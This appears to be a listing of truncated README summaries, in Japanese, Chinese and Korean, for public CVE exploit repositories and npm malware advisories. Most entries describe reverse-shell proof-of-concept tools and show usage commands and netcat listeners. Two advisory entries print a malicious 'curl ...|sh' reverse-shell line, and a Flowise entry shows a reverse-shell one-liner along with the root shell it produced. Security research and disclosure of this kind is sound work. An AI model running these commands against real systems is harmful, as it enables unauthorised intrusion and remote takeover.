EXP_CVE-2018-19518

CVE-2018-19518 免責事項 本プログラムは、認可されたセキュリティテストおよび研究目的にのみ使用されるべきです。ユーザーはネットワークセキュリティ法に従い、適切に使用してください。 ユーザーがこのツールを使用して不正な攻撃などの違法行為を行った場合、作者は一切の責任を負いません。 使用方法 python CVE-2018-19518.py 目标ip 目标port shell-ip shell-port...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 リバースシェル Python3サポート 依存関係 Impacket python3 バージョン Netcat Msfvenom 使用方法 git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1...

CVE-2025-62369

CVE-2025-62369 PoC 此脚本利用 Xibo CMS 中的 CVE-2025-62369 漏洞执行反向 shell 命令。 作者 姓名： Cristian Branet GitHub： cristibtz 使用方法 1. 启动监听器 nc -lvnp 2. 运行漏洞利用脚本 python3 exploit.py -u "http://:" -s "" -i -p ：Xibo CMS 服务器 IP ：Xibo CMS 服务器端口 ：你的 PHP 会话 ID ：用于接收反向 shell 的你的 IP ：反向 shell 端口（必须与你的监听器一致） 免责声明：...

CVE-2021-41773-Playground

CVE-2021-41773-Playground CVE-2021-41773 と CVE-2021-42013 で遊ぶための Docker イメージ集です。 docker compose up -d を実行すると、すべてのコンテナを起動できます。 サーバーはポート 8080、8081、8082、8083 で動作します。 8080 は CGI が無効の Apache 2.4.49 です。 8081 は CGI が有効の Apache 2.4.49 です。 8082 は CGI が無効の Apache 2.4.50 です。 8083 は CGI が有効の Apache 2.4.50 です...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host fo...

CVE-2023-29017-reverse-shell

CVE-2023-29017-reverse-shell...

CVE-2015-8522.RCE

CVE-2015-8522 Tivoli FastBack Server 6.1.4 アプリケーションはスタックベースのバッファオーバーフローに対して脆弱であり、脅威アクターがリモートTCP接続を介して任意コード実行 ACE を達成することを可能にします。このリポジトリで提供されるPoCは、この脆弱性を利用して、ターゲット上でCMD.exeを実行すると同時に、着信接続を処理してリバースシェルを確立します。 !NOTE...

log4shell-minecraft-demo

Log4Shell CVE-2021-44228 Minecraft デモ このデモは、教育フェアで、将来の学生候補にHTL Villachのサイバーセキュリティ学科と、日常的なアプリケーションがどのように悪用され得るかを紹介するために使用されます。 注記: このデモ全体はMinecraft 1.8.8を使用しています。 攻撃者 このシナリオの攻撃者は、kozmerによるPoCを使用しています。 https://github.com/kozmer/log4j-shell-poc すべてのクレジットは彼らに帰属します。 注記: すべてのコマンドは attacker/...

CVE-2024-37054-MLflow-reverse-shell

도구 및 파일 파일| 목적 ---|--- generatemodel.py| 악성 model.pkl을 역방향 셸 페이로드와 함께 생성합니다 uploadmodel.py| 피클을 MLflow에 업로드하고 프로덕션으로 승격합니다 sample.csv| /predict 엔드포인트를 트리거하는 데 사용되는 CSV 파일 사용 방법 1. 악성 피클 생성 generatemodel.py를 편집하고 tun0 IP를 설정합니다: python3 generatemodel.py 2. 리스너 시작 nc -lvnp 4444 3. 악성 모델 업로드...

hack

💀 PwnKit CVE-2021-4034 및 리버스 셸 툴킷 ⚠️ 면책 조항: 이 저장소는 교육 및 보안 연구 목적으로만 생성되었습니다. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다. 통제된 환경이나 명시적 허가를 받은 곳에서만 사용하십시오. 📜 설명 이 저장소는 Polkit의 pkexec 구성 요소에 있는 로컬 권한 상승의 심각한 취약점인 PwnKitCVE-2021-4034에 대한 컴파일된 개념 증명PoC을 포함합니다. 또한 익스플로잇 후 또는 초기 접근 벡터로 배포할 수 있는 PHP 리버스 셸 스크립트가 포함되어...

CVE-2016-16113-POC

Get RCE - Bludit CMS エクスプロイト | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| CVE-2019-17240 （認証バイパス）とCVE-2019-16113 （任意ファイルアップロード）を組み合わせ、脆弱性のあるBludit CMSインストールに対してリモートコード実行を達成する自動化エクスプロイトツール。 ⚠️ 法的免責事項 認可されたセキュリティテストのみを対象としています...

sh1mazu

Shimazu 4.0 - コードネーム met@rpet@r これは、OSの脆弱性を悪用するための自動リバースバックドアシェルプログラムです。...

external-c2-experiments

外部C2: SSH go-exploitの外部C2モジュールで、リバースSSHシェルをサポートします。さらに、外部C2プロファイルをお気に入りのペイロードに統合する方法のデモンストレーションとしても機能します。目標は、回避技術や高度なテクニックを備えた完全に武器化されたペイロードを提供することではなく、より強力な回避モジュールを実装でき、go-exploitに簡単に統合できるペイロードのためのチャネルを作成する方法を示すことです。 構造 SSHペイロードをキャッチするサーバーをセットアップするためのインターフェースと構造を実装するコアc2sshパッケージ...

Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

MAL-2026-17649 Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

CVE-2025-66034-htb-ctf

CVE-2025-66034-htb-ctf VariaType 可変フォント生成エクスプロイト このリポジトリには、Hack The Box の VariaType マシン向けの特化型エクスプロイトが含まれています。このエクスプロイトは、fontTools ライブラリまたは Web アプリケーションが .designspace XML ファイルとメタデータの補間を処理する方法における脆弱性を悪用して、リモートコード実行 RCE を達成します。 📝 説明 脆弱性はフォント生成プロセスに存在します。悪意のある designspace ファイルを細工することで、PHP...

CVE-2019-7069-POC

Kibana ⚠️ 면책 조항: 이 스크립트는 교육 및 승인된 침투 테스트 용도로만 사용하십시오. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에서 사용하지 마십시오. 저자와 기여자는 이 도구의 오용 또는 손해에 대해 책임을 지지 않습니다. 🎯 이게 뭔가요? 이것은 Kibana 버전 6.6.1의 원격 코드 실행 취약점 을 위한 Python 3 익스플로잇 스크립트입니다. 프로토타입 오염 결함을 이용하여 취약한 Kibana 인스턴스에서 임의 명령을 실행하며, 리버스 셸을 생성하는 옵션도 포함합니다. 🕹️ 기능 Kibana 버전...

CVE-2025-8110-PoC

CVE-2025-8110 PoC CVE-2025-8110 向けの Python 概念実証スクリプト — Gogs v0.13.3 の UpdateRepoFile シンボリックリンク RCE。シングルショット: 悪意のある PUT 自体が git fetch → sshCommand → リバースシェルをトリガーします。 ⚠️ 教育目的および許可を得たセキュリティ研究のみを対象としています。 このツールを、所有していない、または書面によるテスト許可がないシステムに対して実行することは違法です。 詳細 CVE-2025-8110 の PoC 影響を受けるバージョン: Gogs...

CVE-2026-6009

⚠️ 면책 조항: 이 저장소는 교육 목적 및 승인된 보안 테스트 용도로만 사용됩니다. 소유하지 않았거나 명시적 서면 허가를 받지 않은 시스템에 대해 사용하지 마세요. CVE-2026-6009 개념 증명 요약 Jaspersoft report 라이브러리 버전 = 7.0.3은 Java 역직렬화 흐름을 악용하여 원격 코드 실행RCE에 취약합니다. 이 취약점으로 인해 공격자는 이 라이브러리 버전을 사용하는 시스템에서 리버스 셸 연결을 수행할 수 있습니다. 라이브러리: Jaspersoft report 영향 받는 버전: = 7.0.3 취약점...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Flowise バージョン &1|nc 10.10.15.200 443 /tmp/f' リスナーを確認すると動作するはずです: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...